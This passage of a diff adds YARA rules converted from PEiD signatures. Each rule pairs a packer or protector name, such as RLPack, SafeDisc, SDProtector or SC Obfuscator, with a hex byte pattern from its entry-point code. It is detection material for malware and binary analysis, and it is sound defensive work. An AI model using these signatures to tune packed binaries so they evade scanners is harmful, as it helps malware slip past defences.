+        description = "[RLPack v1.18 Basic DLL [aPLib] -> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83}
+    condition:
+        $a
+}
+
+rule PEiD_02007_RLPack_v1_18_Basic_DLL__LZMA_____Ap0x_
+{
+    meta:
+        description = "[RLPack v1.18 Basic DLL [LZMA] -> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 21 0B 00 00 8D 9D FF 02 00 00 33 FF E8 9F 01 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A}
+    condition:
+        $a
+}
+
+rule PEiD_02008_RLPack_V1_18_Basic_Edition__aPlib_0_43_____ap0x_
+{
+    meta:
+        description = "[RLPack V1.18 Basic Edition (aPlib 0.43) -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74}
+    condition:
+        $a
+}
+
+rule PEiD_02009_RLPack_V1_18_Basic_Edition__aPLib_or_LZMA_____ap0x_
+{
+    meta:
+        description = "[RLPack V1.18 Basic Edition (aPLib or LZMA) -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? 00 00 8D 9D ?? 02 00 00 33 FF E8 ?? 01 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02010_RLPack_V1_18_Basic_Edition__LZMA_4_30_____ap0x_
+{
+    meta:
+        description = "[RLPack V1.18 Basic Edition (LZMA 4.30) -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 21 0B 00 00 8D 9D FF 02 00 00 33 FF E8 9F 01 00 00 6A 40 68 00}
+    condition:
+        $a
+}
+
+rule PEiD_02011_RLPack_V1_18_Dll__aPlib_0_43_____ap0x_
+{
+    meta:
+        description = "[RLPack V1.18 Dll (aPlib 0.43) -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 5C 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 ?? 83 C7 ?? 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83 BD 0A 04 00 00 00 74 05 E8 D7}
+    condition:
+        $a
+}
+
+rule PEiD_02012_RLPack_V1_18_Dll__LZMA_4_30_____ap0x_
+{
+    meta:
+        description = "[RLPack V1.18 Dll (LZMA 4.30) -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 ?? 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8 9F 01 00 00 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A 00 00 FF 34 37 FF 74 37 04 FF}
+    condition:
+        $a
+}
+
+rule PEiD_02013_RLPack_V1_19__aPlib_0_43_____ap0x___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.19 (aPlib 0.43) -> ap0x ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 3C 04 00 00 EB 0C 8B 85 38 04 00 00 89 85 3C 04 00 00 8D B5 60 04 00 00 8D 9D EB 02 00 00 33 FF E8 52 01 00 00 EB 1B 8B 85 3C 04 00 00 FF 74 37 04 01 04 24 FF 34 37 01 04 24 FF D3}
+    condition:
+        $a
+}
+
+rule PEiD_02014_RLPack_V1_19__aPlib_0_43_____ap0x_nbsp___nbsp___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.19 (aPlib 0.43) -> ap0x&nbsp; &nbsp;! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 3C 04 00 00 EB 0C 8B 85 38 04 00 00 89 85 3C 04 00 00 8D B5 60 04 00 00 8D 9D EB 02 00 00 33 FF E8 52 01 00 00 EB 1B 8B 85 3C 04 00 00 FF 74 37 04 01 04 24 FF 34 37 01 04 24 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 DF 83 BD 48 04 00 00 00 74 0E 83 BD 4C 04 00 00 00 74 05 E8 B8 01 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 D1 03 00 00 89 85 5C 04 00 00 5B FF B5 5C 04 00 00 56 FF D3 83 C4 08 8B B5 5C 04 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD 3C 04 00 00 83 C0 04 89 85 58 04 00 00 E9 94 00 00 00 56 FF 95 C9 03 00 00 85 C0 0F 84 B4 00 00 00 89 85 54 04 00 00 8B C6 EB 5B 8B 85 58 04 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 58 04 00 00 C7 00 20 20 20 00 EB 06 FF B5 58 04 00 00 FF B5 54 04 00 00 FF 95 CD 03 00 00 85 C0 74 71 89 07 83 C7 04 8B 85 58 04 00 00 EB 01 40 80 38 00 75 FA 40 89 85 58 04 00 00 66 81 78 02 00 80 74 A5 80 38 00 75 A0 EB 01 46 80 3E 00 75 FA 46 40 8B 38 03 BD 3C 04 00 00 83 C0 04 89 85 58 04 00 00 80 3E 01 0F 85 63 FF FF FF 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 5C 04 00 00 FF 95 D5 03 00 00 E8 3D 00 00 00 E8 24 01 00 00 61 E9 ?? ?? ?? ?? 61 C3}
+    condition:
+        $a
+}
+
+rule PEiD_02015_RLPack_V1_19__LZMA_4_30_____ap0x___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.19 (LZMA 4.30) -> ap0x ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 49 0B 00 00 EB 0C 8B 85 45 0B 00 00 89 85 49 0B 00 00 8D B5 6D 0B 00 00 8D 9D 2F 03 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 DA 0A 00 00 89 85 41 0B 00 00 E8 76}
+    condition:
+        $a
+}
+rule PEiD_02016_RLPack_V1_19__LZMA_4_30_____ap0x_nbsp___nbsp___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.19 (LZMA 4.30) -> ap0x&nbsp; &nbsp;! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 49 0B 00 00 EB 0C 8B 85 45 0B 00 00 89 85 49 0B 00 00 8D B5 6D 0B 00 00 8D 9D 2F 03 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 DA 0A 00 00 89 85 41 0B 00 00 E8 76 01 00 00 EB 20 60 8B 85 49 0B 00 00 FF B5 41 0B 00 00 FF 34 37 01 04 24 FF 74 37 04 01 04 24 FF D3 61 83 C7 08 83 3C 37 00 75 DA 83 BD 55 0B 00 00 00 74 0E 83 BD 59 0B 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 DA 0A 00 00 89 85 69 0B 00 00 5B 60 FF B5 41 0B 00 00 56 FF B5 69 0B 00 00 FF D3 61 8B B5 69 0B 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD 49 0B 00 00 83 C0 04 89 85 65 0B 00 00 E9 98 00 00 00 56 FF 95 D2 0A 00 00 89 85 61 0B 00 00 85 C0 0F 84 C8 00 00 00 8B C6 EB 5F 8B 85 65 0B 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 65 0B 00 00 C7 00 20 20 20 00 EB 06 FF B5 65 0B 00 00 FF B5 61 0B 00 00 FF 95 D6 0A 00 00 85 C0 0F 84 87 00 00 00 89 07 83 C7 04 8B 85 65 0B 00 00 EB 01 40 80 38 00 75 FA 40 89 85 65 0B 00 00 66 81 78 02 00 80 74 A1 80 38 00 75 9C EB 01 46 80 3E 00 75 FA 46 40 8B 38 03 BD 49 0B 00 00 83 C0 04 89 85 65 0B 00 00 80 3E 01 0F 85 5F FF FF FF 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 69 0B 00 00 FF 95 DE 0A 00 00 68 00 40 00 00 68 00 20 0C 00 FF B5 41 0B 00 00 FF 95 DE 0A 00 00 E8 3D 00 00 00 E8 24 01 00 00 61 E9 ?? ?? ?? ?? 61 C3}
+    condition:
+        $a
+}
+rule PEiD_02017_RLPack_V1_19_Dll__aPlib_0_43_____ap0x___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.19 Dll (aPlib 0.43) -> ap0x ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 89 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 3C 04 00 00 EB 0C 8B 85 38 04 00 00 89 85 3C 04 00 00 8D B5 60 04 00 00 8D 9D EB 02 00 00 33 FF E8 52 01 00 00 EB 1B 8B 85 3C 04 00 00 FF 74 37 04}
+    condition:
+        $a
+}
+
+rule PEiD_02018_RLPack_V1_19_Dll__aPlib_0_43_____ap0x_nbsp___nbsp___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.19 Dll (aPlib 0.43) -> ap0x&nbsp; &nbsp;! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 89 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 3C 04 00 00 EB 0C 8B 85 38 04 00 00 89 85 3C 04 00 00 8D B5 60 04 00 00 8D 9D EB 02 00 00 33 FF E8 52 01 00 00 EB 1B 8B 85 3C 04 00 00 FF 74 37 04 01 04 24 FF 34 37 01 04 24 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 DF 83 BD 48 04 00 00 00 74 0E 83 BD 4C 04 00 00 00 74 05 E8 B8 01 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 D1 03 00 00 89 85 5C 04 00 00 5B FF B5 5C 04 00 00 56 FF D3 83 C4 08 8B B5 5C 04 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD 3C 04 00 00 83 C0 04 89 85 58 04 00 00 E9 94 00 00 00 56 FF 95 C9 03 00 00 85 C0 0F 84 B4 00 00 00 89 85 54 04 00 00 8B C6 EB 5B 8B 85 58 04 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 58 04 00 00 C7 00 20 20 20 00 EB 06 FF B5 58 04 00 00 FF B5 54 04 00 00 FF 95 CD 03 00 00 85 C0 74 71 89 07 83 C7 04 8B 85 58 04 00 00 EB 01 40 80 38 00 75 FA 40 89 85 58 04 00 00 66 81 78 02 00 80 74 A5 80 38 00 75 A0 EB 01 46 80 3E 00 75 FA 46 40 8B 38 03 BD 3C 04 00 00 83 C0 04 89 85 58 04 00 00 80 3E 01 0F 85 63 FF FF FF 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 5C 04 00 00 FF 95 D5 03 00 00 E8 3D 00 00 00 E8 24 01 00 00 61 E9 ?? ?? ?? ?? 61 C3}
+    condition:
+        $a
+}
+
+rule PEiD_02019_RLPack_V1_19_Dll__LZMA_4_30_____ap0x___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.19 Dll (LZMA 4.30) -> ap0x ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 C7 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 49 0B 00 00 EB 0C 8B 85 45 0B 00 00 89 85 49 0B 00 00 8D B5 6D 0B 00 00 8D 9D 2F 03 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 DA}
+    condition:
+        $a
+}
+rule PEiD_02020_RLPack_V1_19_Dll__LZMA_4_30_____ap0x_nbsp___nbsp___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.19 Dll (LZMA 4.30) -> ap0x&nbsp; &nbsp;! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 C7 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 49 0B 00 00 EB 0C 8B 85 45 0B 00 00 89 85 49 0B 00 00 8D B5 6D 0B 00 00 8D 9D 2F 03 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 DA 0A 00 00 89 85 41 0B 00 00 E8 76 01 00 00 EB 20 60 8B 85 49 0B 00 00 FF B5 41 0B 00 00 FF 34 37 01 04 24 FF 74 37 04 01 04 24 FF D3 61 83 C7 08 83 3C 37 00 75 DA 83 BD 55 0B 00 00 00 74 0E 83 BD 59 0B 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 DA 0A 00 00 89 85 69 0B 00 00 5B 60 FF B5 41 0B 00 00 56 FF B5 69 0B 00 00 FF D3 61 8B B5 69 0B 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD 49 0B 00 00 83 C0 04 89 85 65 0B 00 00 E9 98 00 00 00 56 FF 95 D2 0A 00 00 89 85 61 0B 00 00 85 C0 0F 84 C8 00 00 00 8B C6 EB 5F 8B 85 65 0B 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 65 0B 00 00 C7 00 20 20 20 00 EB 06 FF B5 65 0B 00 00 FF B5 61 0B 00 00 FF 95 D6 0A 00 00 85 C0 0F 84 87 00 00 00 89 07 83 C7 04 8B 85 65 0B 00 00 EB 01 40 80 38 00 75 FA 40 89 85 65 0B 00 00 66 81 78 02 00 80 74 A1 80 38 00 75 9C EB 01 46 80 3E 00 75 FA 46 40 8B 38 03 BD 49 0B 00 00 83 C0 04 89 85 65 0B 00 00 80 3E 01 0F 85 5F FF FF FF 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 69 0B 00 00 FF 95 DE 0A 00 00 68 00 40 00 00 68 00 20 0C 00 FF B5 41 0B 00 00 FF 95 DE 0A 00 00 E8 3D 00 00 00 E8 24 01 00 00 61 E9 ?? ?? ?? ?? 61 C3}
+    condition:
+        $a
+}
+
+rule PEiD_02021_ROD_High_TECH____Ayman_
+{
+    meta:
+        description = "[ROD High TECH -> Ayman]"
+        ep_only = "true"
+    strings:
+        $a = {60 8B 15 1D 13 40 00 F7 E0 8D 82 83 19 00 00 E8 58 0C 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02022_RosAsm_2050a____Betov_
+{
+    meta:
+        description = "[RosAsm 2050a -> Betov]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 60 8B 5D 08 B9 08 00 00 00 BF ?? ?? ?? ?? 83 C7 07 FD 8A C3 24 0F 04 30 3C 39 76 02 04 07 AA C1 EB 04 E2 EE FC 68 00 10 00 00 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 15 ?? ?? ?? ?? 61 8B E5 5D C2 04 00}
+    condition:
+        $a
+}
+
+rule PEiD_02023_RPolyCrypt_v_1_0__personal_polycryptor__sign_from_pinch_
+{
+    meta:
+        description = "[RPolyCrypt v 1.0 (personal polycryptor) sign from pinch]"
+        ep_only = "true"
+    strings:
+        $a = {50 58 97 97 60 61 8B 04 24 80 78 F3 6A E8 00 00 00 00 58 E8 00 00 00 00 58 91 91 EB 00 0F 85 6B F4 76 6F E8 00 00 00 00 83 C4 04 E8 00 00 00 00 58 90 E8 00 00 00 00 83 C4 04 8B 04 24 80 78 F1}
+    condition:
+        $a
+}
+
+rule PEiD_02024_Safe_2_0_
+{
+    meta:
+        description = "[Safe 2.0]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 10 53 56 57 E8 C4 01 00}
+    condition:
+        $a
+}
+
+rule PEiD_02025_SafeDisc_4_
+{
+    meta:
+        description = "[SafeDisc 4]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 42 6F 47 5F}
+    condition:
+        $a
+}
+
+rule PEiD_02026_SafeDisc_SafeCast_2_xx___3_xx____Macrovision_
+{
+    meta:
+        description = "[SafeDisc/SafeCast 2.xx - 3.xx -> Macrovision]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 60 BB ?? ?? ?? ?? 33 C9 8A 0D 3D ?? ?? ?? 85 C9 74 0C B8 ?? ?? ?? ?? 2B C3 83 E8 05 EB 0E 51 B9 ?? ?? ?? ?? 8B C1 2B C3 03 41 01 59 C6 03 E9 89 43 01 51 68 09 ?? ?? ?? 33 C0 85 C9 74 05 8B 45 08 EB 00 50 E8 76 00 00 00 83 C4 08 59 83 F8 00 74 1C}
+    condition:
+        $a
+}
+
+rule PEiD_02027_SafeDisc_SafeCast_2_xx___3_xx____Macrovision_
+{
+    meta:
+        description = "[SafeDisc/SafeCast 2.xx - 3.xx -> Macrovision]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 60 BB ?? ?? ?? ?? 33 C9 8A 0D 3D ?? ?? ?? 85 C9 74 0C B8 ?? ?? ?? ?? 2B C3 83 E8 05 EB 0E 51 B9 ?? ?? ?? ?? 8B C1 2B C3 03 41 01 59 C6 03 E9 89 43 01 51 68 09 ?? ?? ?? 33 C0 85 C9 74 05 8B 45 08 EB 00 50 E8 76 00 00 00 83 C4 08 59 83 F8 00 74 1C C6 03 C2 C6 43 01 0C 85 C9 74 09 61 5D B8 00 00 00 00 EB 97 50 A1 29 ?? ?? ?? ?? D0 61 5D EB 46 80 7C 24 08 00 75 3F 51 8B 4C 24 04 89 0D ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 4C 24 04 59 EB 28 50 B8 2D ?? ?? ?? ?? 70 08 8B 40 0C FF D0 B8 2D ?? ?? ?? ?? 30 8B 40 04 FF D0 58 FF 35 ?? ?? ?? ?? C3 72 16 61 13 60 0D E9 ?? ?? ?? ?? CC CC 81 EC E8 02 00 00 53 55 56 57}
+    condition:
+        $a
+}
+/*
+rule PEiD_02028_Safeguard_1_0____Simonzh_
+{
+    meta:
+        description = "[Safeguard 1.0 -> Simonzh]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 EB 29}
+    condition:
+        $a
+}
+
+*/
+
+rule PEiD_02029_Sc_Obfuscator____SuperCRacker___Sign_by_fly_
+{
+    meta:
+        description = "[Sc Obfuscator -> SuperCRacker ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 33 C9 8B 1D ?? ?? ?? ?? 03 1D ?? ?? ?? ?? 8A 04 19 84 C0 74 09 3C ?? 74 05 34 ?? 88 04 19 41 3B 0D ?? ?? ?? ?? 75 E7 A1 ?? ?? ?? ?? 01 05 ?? ?? ?? ?? 61 FF 25 ?? ?? ?? ?? 00 00}
+    condition:
+        $a
+}
+rule PEiD_02030_SC_Obfuscator____SuperCRacker_
+{
+    meta:
+        description = "[SC Obfuscator -> SuperCRacker]"
+        ep_only = "true"
+    strings:
+        $a = {60 33 C9 8B 1D 00 ?? ?? ?? 03 1D 08 ?? ?? ?? 8A 04 19 84 C0 74 09 3C ?? 74 05 34 ?? 88 04 19 41 3B 0D 04 ?? ?? ?? 75 E7 A1 08 ?? ?? ?? 01 05 0C ?? ?? ?? 61 FF 25 0C}
+    condition:
+        $a
+}
+
+rule PEiD_02031_SCAN__AV_
+{
+    meta:
+        description = "[SCAN /AV]"
+        ep_only = "true"
+    strings:
+        $a = {1E 0E 1F B8 ?? ?? 8E C0 26 8A 1E ?? ?? 80 ?? ?? 72}
+    condition:
+        $a
+}
+rule PEiD_02032_SCRAM__v0_8a1_
+{
+    meta:
+        description = "[SCRAM! v0.8a1]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 3C 02 77 ?? CD 20 BC ?? ?? B9 ?? ?? 8B FC B2 ?? 58 4C}
+    condition:
+        $a
+}
+
+rule PEiD_02033_SCRAM__vC5_
+{
+    meta:
+        description = "[SCRAM! vC5]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? 50 9D 9C 58 25 ?? ?? 75 ?? BA ?? ?? B4 09 CD 21 CD 20}
+    condition:
+        $a
+}
+rule PEiD_02034_SDC_1_2__Self_Decrypting_Binary_Generator____by_Claes_M_Nyberg_
+{
+    meta:
+        description = "[SDC 1.2 (Self Decrypting Binary Generator) - by Claes M Nyberg]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 A0 91 40 00 E8 DB FE FF FF 55 89 E5 53 83 EC 14 8B 45 08 8B 00 8B 00 3D 91 00 00 C0 77 3B 3D 8D 00 00 C0 72 4B BB 01 00 00 00 C7 44 24 04 00 00 00 00 C7 04 24 08 00 00 00 E8 CE 24 00 00 83 F8 01 0F 84 C4 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02035_SDC_1_2__Self_Decrypting_Binary_Generator____by_Claes_M_Nyberg_
+{
+    meta:
+        description = "[SDC 1.2 (Self Decrypting Binary Generator) - by Claes M Nyberg]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 A0 91 40 00 E8 DB FE FF FF 55 89 E5 53 83 EC 14 8B 45 08 8B 00 8B 00 3D 91 00 00 C0 77 3B 3D 8D 00 00 C0 72 4B BB 01 00 00 00 C7 44 24 04 00 00 00 00 C7 04 24 08 00 00 00 E8 CE 24 00 00 83 F8 01 0F 84 C4 00 00 00 85 C0 0F 85 A9 00 00 00 31 C0 83 C4 14 5B 5D C2 04 00 3D 94 00 00 C0 74 56 3D 96 00 00 C0 74 1E 3D 93 00 00 C0 75 E1 EB B5 3D 05 00 00 C0 8D B4 26 00 00 00 00 74 43 3D 1D 00 00 C0 75 CA C7 44 24 04 00 00 00 00 C7 04 24 04 00 00 00 E8 73 24 00 00 83 F8 01 0F 84 99 00 00 00 85 C0 74 A9 C7 04 24 04 00 00 00 FF D0 B8 FF FF FF FF EB 9B 31 DB 8D 74 26 00 E9 69 FF FF FF C7 44 24 04 00 00 00 00 C7 04 24 0B 00 00 00 E8 37 24 00 00 83 F8 01 74 7F 85 C0 0F 84 6D FF FF FF C7 04 24 0B 00 00 00 8D 76 00 FF D0 B8 FF FF FF FF E9 59 FF FF FF C7 04 24 08 00 00 00 FF D0 B8 FF FF FF FF E9 46 FF FF FF C7 44 24 04 01 00 00 00 C7 04 24 08 00 00 00 E8 ED 23 00 00 B8 FF FF FF FF 85 DB 0F 84 25 FF FF FF E8 DB 15 00 00 B8 FF FF FF FF E9 16 FF FF FF C7 44 24 04 01 00 00 00 C7 04 24 04 00 00 00 E8 BD 23 00 00 B8 FF FF FF FF E9 F8 FE FF FF C7 44 24 04 01 00 00 00 C7 04 24 0B 00 00 00 E8 9F 23 00 00 B8 FF FF FF FF E9 DA FE FF FF}
+    condition:
+        $a
+}
+rule PEiD_02036_SDProtect____Randy_Li_
+{
+    meta:
+        description = "[SDProtect -> Randy Li]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05}
+    condition:
+        $a
+}
+
+rule PEiD_02037_SDProtect________________Randy_Li_
+{
+    meta:
+        description = "[Convert Base64 to ASCII U0RQcm90ZWN0KMOIw63CvMO+wrHCo8K7wqTDicOxKSAtPiBSYW5keSBMaQ==]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? 00 00 00}
+    condition:
+        $a
+}
+
+
+rule PEiD_02038_SDProtector_1_1x____Randy_Li_
+{
+    meta:
+        description = "[SDProtector 1.1x -> Randy Li]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1}
+    condition:
+        $a
+}
+
+rule PEiD_02039_SDProtector_1_x____Randy_Li_
+{
+    meta:
+        description = "[SDProtector 1.x -> Randy Li]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 20 33 C0 89 41 04 89 41}
+    condition:
+        $a
+}
+
+rule PEiD_02040_SDProtector_1_x____Randy_Li_
+{
+    meta:
+        description = "[SDProtector 1.x -> Randy Li]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 20 33 C0 89 41 04 89 41 08 89 41 0C 89 41 10 59 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 33 C0 64 FF 30 64 89 20 9C 80 4C 24 01 01 9D 90 90 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 64 8F 00 58 74 07 75 05 19 32 67 E8 E8 74 27 75 25 EB 00 EB FC 68 39 44 CD 00 59 9C 50 74 0F 75 0D E8 59 C2 04 00 55 8B EC E9 FA FF FF 0E E8 EF FF FF FF 56 57 53 78 03 79 01 E8 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 7B 03 00 00 03 C8 74 C4 75 C2 E8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_02041_SDProtector_Basic_Pro_Edition_1_10____Randy_Li__h__
+{
+    meta:
+        description = "[SDProtector Basic/Pro Edition 1.10 -> Randy Li (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 50 83 EC 08 64 A1 00 00 00 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 83 C4 08 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 64 8F 05 00 00 00 00 64 A3 00 00 00 00 83 C4 08 58 74 07 75 05 19 32 67 E8 E8 74 27 75 25 EB 00 EB FC 68 39 44 CD 00 59 9C 50 74 0F 75 0D E8 59 C2 04 00 55 8B EC E9 FA FF FF 0E E8 EF FF FF FF 56 57 53 78 0F 79 0D E8 34 99 47 49 34 33 EF 31 34 52 47 23 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 59 03 00 00 03 C8 74 B8 75 B6 E8 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02042_SDProtector_Basic_Pro_Edition_1_10____Randy_Li_
+{
+    meta:
+        description = "[SDProtector Basic/Pro Edition 1.10 -> Randy Li]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 50 83 EC 08 64 A1 00 00 00 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 83 C4 08 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 64}
+    condition:
+        $a
+}
+
+rule PEiD_02043_SDProtector_Basic_Pro_Edition_1_12____Randy_Li__h__
+{
+    meta:
+        description = "[SDProtector Basic/Pro Edition 1.12 -> Randy Li (h)]"
+        ep_only = "true"
+    strings:
